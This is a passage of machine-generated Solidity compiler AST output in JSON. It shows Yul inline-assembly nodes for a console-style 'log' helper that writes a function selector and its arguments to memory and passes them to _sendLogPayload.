arguments":[{"kind":"number","nativeSrc":"326422:4:22","nodeType":"YulLiteral","src":"326422:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"326416:5:22","nodeType":"YulIdentifier","src":"326416:5:22"},"nativeSrc":"326416:11:22","nodeType":"YulFunctionCall","src":"326416:11:22"},"variableNames":[{"name":"m6","nativeSrc":"326410:2:22","nodeType":"YulIdentifier","src":"326410:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326510:4:22","nodeType":"YulLiteral","src":"326510:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"326516:10:22","nodeType":"YulLiteral","src":"326516:10:22","type":"","value":"0x33e9dd1d"}],"functionName":{"name":"mstore","nativeSrc":"326503:6:22","nodeType":"YulIdentifier","src":"326503:6:22"},"nativeSrc":"326503:24:22","nodeType":"YulFunctionCall","src":"326503:24:22"},"nativeSrc":"326503:24:22","nodeType":"YulExpressionStatement","src":"326503:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326547:4:22","nodeType":"YulLiteral","src":"326547:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"326553:4:22","nodeType":"YulLiteral","src":"326553:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"326540:6:22","nodeType":"YulIdentifier","src":"326540:6:22"},"nativeSrc":"326540:18:22","nodeType":"YulFunctionCall","src":"326540:18:22"},"nativeSrc":"326540:18:22","nodeType":"YulExpressionStatement","src":"326540:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326578:4:22","nodeType":"YulLiteral","src":"326578:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"326584:2:22","nodeType":"YulIdentifier","src":"326584:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326571:6:22","nodeType":"YulIdentifier","src":"326571:6:22"},"nativeSrc":"326571:16:22","nodeType":"YulFunctionCall","src":"326571:16:22"},"nativeSrc":"326571:16:22","nodeType":"YulExpressionStatement","src":"326571:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326607:4:22","nodeType":"YulLiteral","src":"326607:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"326613:2:22","nodeType":"YulIdentifier","src":"326613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326600:6:22","nodeType":"YulIdentifier","src":"326600:6:22"},"nativeSrc":"326600:16:22","nodeType":"YulFunctionCall","src":"326600:16:22"},"nativeSrc":"326600:16:22","nodeType":"YulExpressionStatement","src":"326600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326636:4:22","nodeType":"YulLiteral","src":"326636:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"326642:2:22","nodeType":"YulIdentifier","src":"326642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326629:6:22","nodeType":"YulIdentifier","src":"326629:6:22"},"nativeSrc":"326629:16:22","nodeType":"YulFunctionCall","src":"326629:16:22"},"nativeSrc":"326629:16:22","nodeType":"YulExpressionStatement","src":"326629:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326670:4:22","nodeType":"YulLiteral","src":"326670:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"326676:2:22","nodeType":"YulIdentifier","src":"326676:2:22"}],"functionName":{"name":"writeString","nativeSrc":"326658:11:22","nodeType":"YulIdentifier","src":"326658:11:22"},"nativeSrc":"326658:21:22","nodeType":"YulFunctionCall","src":"326658:21:22"},"nativeSrc":"326658:21:22","nodeType":"YulExpressionStatement","src":"326658:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44438,"isOffset":false,"isSlot":false,"src":"326230:2:22","valueSize":1},{"declaration":44441,"isOffset":false,"isSlot":false,"src":"326260:2:22","valueSize":1},{"declaration":44444,"isOffset":false,"isSlot":false,"src":"326290:2:22","valueSize":1},{"declaration":44447,"isOffset":false,"isSlot":false,"src":"326320:2:22","valueSize":1},{"declaration":44450,"isOffset":false,"isSlot":false,"src":"326350:2:22","valueSize":1},{"declaration":44453,"isOffset":false,"isSlot":false,"src":"326380:2:22","valueSize":1},{"declaration":44456,"isOffset":false,"isSlot":false,"src":"326410:2:22","valueSize":1},{"declaration":44428,"isOffset":false,"isSlot":false,"src":"326676:2:22","valueSize":1},{"declaration":44430,"isOffset":false,"isSlot":false,"src":"326584:2:22","valueSize":1},{"declaration":44432,"isOffset":false,"isSlot":false,"src":"326613:2:22","valueSize":1},{"declaration":44434,"isOffset":false,"isSlot":false,"src":"326642:2:22","valueSize":1}],"id":44458,"nodeType":"InlineAssembly","src":"325852:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44460,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"326714:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44461,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"326720:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44459,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"326698:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"326698:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44463,"nodeType":"ExpressionStatement","src":"326698:27:22"},{"AST":{"nativeSrc":"326744:214:22","nodeType":"YulBlock","src":"326744:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"326765:4:22","nodeType":"YulLiteral","src":"326765:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"326771:2:22","nodeType":"YulIdentifier","src":"326771:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326758:6:22","nodeType":"YulIdentifier","src":"326758:6:22"},"nativeSrc":"326758:16:22","nodeType":"YulFunctionCall","src":"326758:16:22"},"nativeSrc":"326758:16:22","nodeType":"YulExpressionStatement","src":"326758:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326794:4:22","nodeType":"YulLiteral","src":"326794:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"326800:2:22","nodeType":"YulIdentifier","src":"326800:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326787:6:22","nodeType":"YulIdentifier","src":"326787:6:22"},"nativeSrc":"326787:16:22","nodeType":"YulFunctionCall","src":"326787:16:22"},"nativeSrc":"326787:16:22","nodeType":"YulExpressionStatement","src":"326787:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326823:4:22","nodeType":"YulLiteral","src":"326823:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"326829:2:22","nodeType":"YulIdentifier","src":"326829:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326816:6:22","nodeType":"YulIdentifier","src":"326816:6:22"},"nativeSrc":"326816:16:22","nodeType":"YulFunctionCall","src":"326816:16:22"},"nativeSrc":"326816:16:22","nodeType":"YulExpressionStatement","src":"326816:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326852:4:22","nodeType":"YulLiteral","src":"326852:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"326858:2:22","nodeType":"YulIdentifier","src":"326858:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326845:6:22","nodeType":"YulIdentifier","src":"326845:6:22"},"nativeSrc":"326845:16:22","nodeType":"YulFunctionCall","src":"326845:16:22"},"nativeSrc":"326845:16:22","nodeType":"YulExpressionStatement","src":"326845:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326881:4:22","nodeType":"YulLiteral","src":"326881:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"326887:2:22","nodeType":"YulIdentifier","src":"326887:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326874:6:22","nodeType":"YulIdentifier","src":"326874:6:22"},"nativeSrc":"326874:16:22","nodeType":"YulFunctionCall","src":"326874:16:22"},"nativeSrc":"326874:16:22","nodeType":"YulExpressionStatement","src":"326874:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326910:4:22","nodeType":"YulLiteral","src":"326910:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"326916:2:22","nodeType":"YulIdentifier","src":"326916:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326903:6:22","nodeType":"YulIdentifier","src":"326903:6:22"},"nativeSrc":"326903:16:22","nodeType":"YulFunctionCall","src":"326903:16:22"},"nativeSrc":"326903:16:22","nodeType":"YulExpressionStatement","src":"326903:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"326939:4:22","nodeType":"YulLiteral","src":"326939:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"326945:2:22","nodeType":"YulIdentifier","src":"326945:2:22"}],"functionName":{"name":"mstore","nativeSrc":"326932:6:22","nodeType":"YulIdentifier","src":"326932:6:22"},"nativeSrc":"326932:16:22","nodeType":"YulFunctionCall","src":"326932:16:22"},"nativeSrc":"326932:16:22","nodeType":"YulExpressionStatement","src":"326932:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44438,"isOffset":false,"isSlot":false,"src":"326771:2:22","valueSize":1},{"declaration":44441,"isOffset":false,"isSlot":false,"src":"326800:2:22","valueSize":1},{"declaration":44444,"isOffset":false,"isSlot":false,"src":"326829:2:22","valueSize":1},{"declaration":44447,"isOffset":false,"isSlot":false,"src":"326858:2:22","valueSize":1},{"declaration":44450,"isOffset":false,"isSlot":false,"src":"326887:2:22","valueSize":1},{"declaration":44453,"isOffset":false,"isSlot":false,"src":"326916:2:22","valueSize":1},{"declaration":44456,"isOffset":false,"isSlot":false,"src":"326945:2:22","valueSize":1}],"id":44464,"nodeType":"InlineAssembly","src":"326735:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"325639:3:22","parameters":{"id":44435,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44428,"mutability":"mutable","name":"p0","nameLocation":"325651:2:22","nodeType":"VariableDeclaration","scope":44466,"src":"325643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44427,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44430,"mutability":"mutable","name":"p1","nameLocation":"325660:2:22","nodeType":"VariableDeclaration","scope":44466,"src":"325655:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44429,"name":"bool","nodeType":"ElementaryTypeName","src":"325655:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44432,"mutability":"mutable","name":"p2","nameLocation":"325672:2:22","nodeType":"VariableDeclaration","scope":44466,"src":"325664:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44431,"name":"address","nodeType":"ElementaryTypeName","src":"325664:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44434,"mutability":"mutable","name":"p3","nameLocation":"325684:2:22","nodeType":"VariableDeclaration","scope":44466,"src":"325676:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44433,"name":"address","nodeType":"ElementaryTypeName","src":"325676:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"325642:45:22"},"returnParameters":{"id":44436,"nodeType":"ParameterList","parameters":[],"src":"325702:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44506,"nodeType":"FunctionDefinition","src":"326970:1328:22","nodes":[],"body":{"id":44505,"nodeType":"Block","src":"327039:1259:22","nodes":[],"statements":[{"assignments":[44478],"declarations":[{"constant":false,"id":44478,"mutability":"mutable","name":"m0","nameLocation":"327057:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44477,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44479,"nodeType":"VariableDeclarationStatement","src":"327049:10:22"},{"assignments":[44481],"declarations":[{"constant":false,"id":44481,"mutability":"mutable","name":"m1","nameLocation":"327077:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44480,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44482,"nodeType":"VariableDeclarationStatement","src":"327069:10:22"},{"assignments":[44484],"declarations":[{"constant":false,"id":44484,"mutability":"mutable","name":"m2","nameLocation":"327097:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44483,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44485,"nodeType":"VariableDeclarationStatement","src":"327089:10:22"},{"assignments":[44487],"declarations":[{"constant":false,"id":44487,"mutability":"mutable","name":"m3","nameLocation":"327117:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44486,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327109:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44488,"nodeType":"VariableDeclarationStatement","src":"327109:10:22"},{"assignments":[44490],"declarations":[{"constant":false,"id":44490,"mutability":"mutable","name":"m4","nameLocation":"327137:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327129:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44489,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327129:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44491,"nodeType":"VariableDeclarationStatement","src":"327129:10:22"},{"assignments":[44493],"declarations":[{"constant":false,"id":44493,"mutability":"mutable","name":"m5","nameLocation":"327157:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327149:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44492,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327149:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44494,"nodeType":"VariableDeclarationStatement","src":"327149:10:22"},{"assignments":[44496],"declarations":[{"constant":false,"id":44496,"mutability":"mutable","name":"m6","nameLocation":"327177:2:22","nodeType":"VariableDeclaration","scope":44505,"src":"327169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44495,"name":"bytes32","nodeType":"ElementaryTypeName","src":"327169:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44497,"nodeType":"VariableDeclarationStatement","src":"327169:10:22"},{"AST":{"nativeSrc":"327198:825:22","nodeType":"YulBlock","src":"327198:825:22","statements":[{"body":{"nativeSrc":"327241:313:22","nodeType":"YulBlock","src":"327241:313:22","statements":[{"nativeSrc":"327259:15:22","nodeType":"YulVariableDeclaration","src":"327259:15:22","value":{"kind":"number","nativeSrc":"327273:1:22","nodeType":"YulLiteral","src":"327273:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"327263:6:22","nodeType":"YulTypedName","src":"327263:6:22","type":""}]},{"body":{"nativeSrc":"327344:40:22","nodeType":"YulBlock","src":"327344:40:22","statements":[{"body":{"nativeSrc":"327373:9:22","nodeType":"YulBlock","src":"327373:9:22","statements":[{"nativeSrc":"327375:5:22","nodeType":"YulBreak","src":"327375:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"327361:6:22","nodeType":"YulIdentifier","src":"327361:6:22"},{"name":"w","nativeSrc":"327369:1:22","nodeType":"YulIdentifier","src":"327369:1:22"}],"functionName":{"name":"byte","nativeSrc":"327356:4:22","nodeType":"YulIdentifier","src":"327356:4:22"},"nativeSrc":"327356:15:22","nodeType":"YulFunctionCall","src":"327356:15:22"}],"functionName":{"name":"iszero","nativeSrc":"327349:6:22","nodeType":"YulIdentifier","src":"327349:6:22"},"nativeSrc":"327349:23:22","nodeType":"YulFunctionCall","src":"327349:23:22"},"nativeSrc":"327346:36:22","nodeType":"YulIf","src":"327346:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"327301:6:22","nodeType":"YulIdentifier","src":"327301:6:22"},{"kind":"number","nativeSrc":"327309:4:22","nodeType":"YulLiteral","src":"327309:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"327298:2:22","nodeType":"YulIdentifier","src":"327298:2:22"},"nativeSrc":"327298:16:22","nodeType":"YulFunctionCall","src":"327298:16:22"},"nativeSrc":"327291:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"327315:28:22","nodeType":"YulBlock","src":"327315:28:22","statements":[{"nativeSrc":"327317:24:22","nodeType":"YulAssignment","src":"327317:24:22","value":{"arguments":[{"name":"length","nativeSrc":"327331:6:22","nodeType":"YulIdentifier","src":"327331:6:22"},{"kind":"number","nativeSrc":"327339:1:22","nodeType":"YulLiteral","src":"327339:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"327327:3:22","nodeType":"YulIdentifier","src":"327327:3:22"},"nativeSrc":"327327:14:22","nodeType":"YulFunctionCall","src":"327327:14:22"},"variableNames":[{"name":"length","nativeSrc":"327317:6:22","nodeType":"YulIdentifier","src":"327317:6:22"}]}]},"pre":{"nativeSrc":"327295:2:22","nodeType":"YulBlock","src":"327295:2:22","statements":[]},"src":"327291:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"327408:3:22","nodeType":"YulIdentifier","src":"327408:3:22"},{"name":"length","nativeSrc":"327413:6:22","nodeType":"YulIdentifier","src":"327413:6:22"}],"functionName":{"name":"mstore","nativeSrc":"327401:6:22","nodeType":"YulIdentifier","src":"327401:6:22"},"nativeSrc":"327401:19:22","nodeType":"YulFunctionCall","src":"327401:19:22"},"nativeSrc":"327401:19:22","nodeType":"YulExpressionStatement","src":"327401:19:22"},{"nativeSrc":"327437:37:22","nodeType":"YulVariableDeclaration","src":"327437:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"327454:3:22","nodeType":"YulLiteral","src":"327454:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"327463:1:22","nodeType":"YulLiteral","src":"327463:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"327466:6:22","nodeType":"YulIdentifier","src":"327466:6:22"}],"functionName":{"name":"shl","nativeSrc":"327459:3:22","nodeType":"YulIdentifier","src":"327459:3:22"},"nativeSrc":"327459:14:22","nodeType":"YulFunctionCall","src":"327459:14:22"}],"functionName":{"name":"sub","nativeSrc":"327450:3:22","nodeType":"YulIdentifier","src":"327450:3:22"},"nativeSrc":"327450:24:22","nodeType":"YulFunctionCall","src":"327450:24:22"},"variables":[{"name":"shift","nativeSrc":"327441:5:22","nodeType":"YulTypedName","src":"327441:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"327502:3:22","nodeType":"YulIdentifier","src":"327502:3:22"},{"kind":"number","nativeSrc":"327507:4:22","nodeType":"YulLiteral","src":"327507:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"327498:3:22","nodeType":"YulIdentifier","src":"327498:3:22"},"nativeSrc":"327498:14:22","nodeType":"YulFunctionCall","src":"327498:14:22"},{"arguments":[{"name":"shift","nativeSrc":"327518:5:22","nodeType":"YulIdentifier","src":"327518:5:22"},{"arguments":[{"name":"shift","nativeSrc":"327529:5:22","nodeType":"YulIdentifier","src":"327529:5:22"},{"name":"w","nativeSrc":"327536:1:22","nodeType":"YulIdentifier","src":"327536:1:22"}],"functionName":{"name":"shr","nativeSrc":"327525:3:22","nodeType":"YulIdentifier","src":"327525:3:22"},"nativeSrc":"327525:13:22","nodeType":"YulFunctionCall","src":"327525:13:22"}],"functionName":{"name":"shl","nativeSrc":"327514:3:22","nodeType":"YulIdentifier","src":"327514:3:22"},"nativeSrc":"327514:25:22","nodeType":"YulFunctionCall","src":"327514:25:22"}],"functionName":{"name":"mstore","nativeSrc":"327491:6:22","nodeType":"YulIdentifier","src":"327491:6:22"},"nativeSrc":"327491:49:22","nodeType":"YulFunctionCall","src":"327491:49:22"},"nativeSrc":"327491:49:22","nodeType":"YulExpressionStatement","src":"327491:49:22"}]},"name":"writeString","nativeSrc":"327212:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"327233:3:22","nodeType":"YulTypedName","src":"327233:3:22","type":""},{"name":"w","nativeSrc":"327238:1:22","nodeType":"YulTypedName","src":"327238:1:22","type":""}],"src":"327212:342:22"},{"nativeSrc":"327567:17:22","nodeType":"YulAssignment","src":"327567:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327579:4:22","nodeType":"YulLiteral","src":"327579:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"327573:5:22","nodeType":"YulIdentifier","src":"327573:5:22"},"nativeSrc":"327573:11:22","nodeType":"YulFunctionCall","src":"327573:11:22"},"variableNames":[{"name":"m0","nativeSrc":"327567:2:22","nodeType":"YulIdentifier","src":"327567:2:22"}]},{"nativeSrc":"327597:17:22","nodeType":"YulAssignment","src":"327597:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327609:4:22","nodeType":"YulLiteral","src":"327609:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"327603:5:22","nodeType":"YulIdentifier","src":"327603:5:22"},"nativeSrc":"327603:11:22","nodeType":"YulFunctionCall","src":"327603:11:22"},"variableNames":[{"name":"m1","nativeSrc":"327597:2:22","nodeType":"YulIdentifier","src":"327597:2:22"}]},{"nativeSrc":"327627:17:22","nodeType":"YulAssignment","src":"327627:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327639:4:22","nodeType":"YulLiteral","src":"327639:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"327633:5:22","nodeType":"YulIdentifier","src":"327633:5:22"},"nativeSrc":"327633:11:22","nodeType":"YulFunctionCall","src":"327633:11:22"},"variableNames":[{"name":"m2","nativeSrc":"327627:2:22","nodeType":"YulIdentifier","src":"327627:2:22"}]},{"nativeSrc":"327657:17:22","nodeType":"YulAssignment","src":"327657:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327669:4:22","nodeType":"YulLiteral","src":"327669:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"327663:5:22","nodeType":"YulIdentifier","src":"327663:5:22"},"nativeSrc":"327663:11:22","nodeType":"YulFunctionCall","src":"327663:11:22"},"variableNames":[{"name":"m3","nativeSrc":"327657:2:22","nodeType":"YulIdentifier","src":"327657:2:22"}]},{"nativeSrc":"327687:17:22","nodeType":"YulAssignment","src":"327687:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327699:4:22","nodeType":"YulLiteral","src":"327699:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"327693:5:22","nodeType":"YulIdentifier","src":"327693:5:22"},"nativeSrc":"327693:11:22","nodeType":"YulFunctionCall","src":"327693:11:22"},"variableNames":[{"name":"m4","nativeSrc":"327687:2:22","nodeType":"YulIdentifier","src":"327687:2:22"}]},{"nativeSrc":"327717:17:22","nodeType":"YulAssignment","src":"327717:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327729:4:22","nodeType":"YulLiteral","src":"327729:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"327723:5:22","nodeType":"YulIdentifier","src":"327723:5:22"},"nativeSrc":"327723:11:22","nodeType":"YulFunctionCall","src":"327723:11:22"},"variableNames":[{"name":"m5","nativeSrc":"327717:2:22","nodeType":"YulIdentifier","src":"327717:2:22"}]},{"nativeSrc":"327747:17:22","nodeType":"YulAssignment","src":"327747:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"327759:4:22","nodeType":"YulLiteral","src":"327759:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"327753:5:22","nodeType":"YulIdentifier","src":"327753:5:22"},"nativeSrc":"327753:11:22","nodeType":"YulFunctionCall","src":"327753:11:22"},"variableNames":[{"name":"m6","nativeSrc":"327747:2:22","nodeType":"YulIdentifier","src":"327747:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"327844:4:22","nodeType":"YulLiteral","src":"327844:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"327850:10:22","nodeType":"YulLiteral","src":"327850:10:22","type":"","value":"0x958c28c6"}],"functionName":{"name":"mstore","nativeSrc":"327837:6:22","nodeType":"YulIdentifier","src":"327837:6:22"},"nativeSrc":"327837:24:22","nodeType":"YulFunctionCall","src":"327837:24:22"},"nativeSrc":"327837:24:22","nodeType":"YulExpressionStatement","src":"327837:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"327881:4:22","nodeType":"YulLiteral","src":"327881:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"327887:4:22","nodeType":"YulLiteral","src":"327887:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"327874:6:22","nodeType":"YulIdentifier","src":"327874:6:22"},"nativeSrc":"327874:18:22","nodeType":"YulFunctionCall","src":"327874:18:22"},"nativeSrc":"327874:18:22","nodeType":"YulExpressionStatement","src":"327874:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"327912:4:22","nodeType":"YulLiteral","src":"327912:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"327918:2:22","nodeType":"YulIdentifier","src":"327918:2:22"}],"functionName":{"name":"mstore","nativeSrc":"327905:6:22","nodeType":"YulIdentifier","src":"327905:6:22"},"nativeSrc":"327905:16:22","nodeType":"YulFunctionCall","src":"327905:16:22"},"nativeSrc":"327905:16:22","nodeType":"YulExpressionStatement","src":"327905:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"327941:4:22","nodeType":"YulLiteral","src":"327941:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"327947:2:22","nodeType":"YulIdentifier","src":"327947:2:22"}],"functionName":{"name":"mstore","nativeSrc":"327934:6:22","nodeType":"YulIdentifier","src":"327934:6:22"},"nativeSrc":"327934:16:22","nodeType":"YulFunctionCall","src":"327934:16:22"},"nativeSrc":"327934:16:22","nodeType":"YulExpressionStatement","src":"327934:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"327970:4:22","nodeType":"YulLiteral","src":"327970:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"327976:2:22","nodeType":"YulIdentifier","src":"327976:2:22"}],"functionName":{"name":"mstore","nativeSrc":"327963:6:22","nodeType":"YulIdentifier","src":"327963:6:22"},"nativeSrc":"327963:16:22","nodeType":"YulFunctionCall","src":"327963:16:22"},"nativeSrc":"327963:16:22","nodeType":"YulExpressionStatement","src":"327963:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328004:4:22","nodeType":"YulLiteral","src":"328004:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"328010:2:22","nodeType":"YulIdentifier","src":"328010:2:22"}],"functionName":{"name":"writeString","nativeSrc":"327992:11:22","nodeType":"YulIdentifier","src":"327992:11:22"},"nativeSrc":"327992:21:22","nodeType":"YulFunctionCall","src":"327992:21:22"},"nativeSrc":"327992:21:22","nodeType":"YulExpressionStatement","src":"327992:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44478,"isOffset":false,"isSlot":false,"src":"327567:2:22","valueSize":1},{"declaration":44481,"isOffset":false,"isSlot":false,"src":"327597:2:22","valueSize":1},{"declaration":44484,"isOffset":false,"isSlot":false,"src":"327627:2:22","valueSize":1},{"declaration":44487,"isOffset":false,"isSlot":false,"src":"327657:2:22","valueSize":1},{"declaration":44490,"isOffset":false,"isSlot":false,"src":"327687:2:22","valueSize":1},{"declaration":44493,"isOffset":false,"isSlot":false,"src":"327717:2:22","valueSize":1},{"declaration":44496,"isOffset":false,"isSlot":false,"src":"327747:2:22","valueSize":1},{"declaration":44468,"isOffset":false,"isSlot":false,"src":"328010:2:22","valueSize":1},{"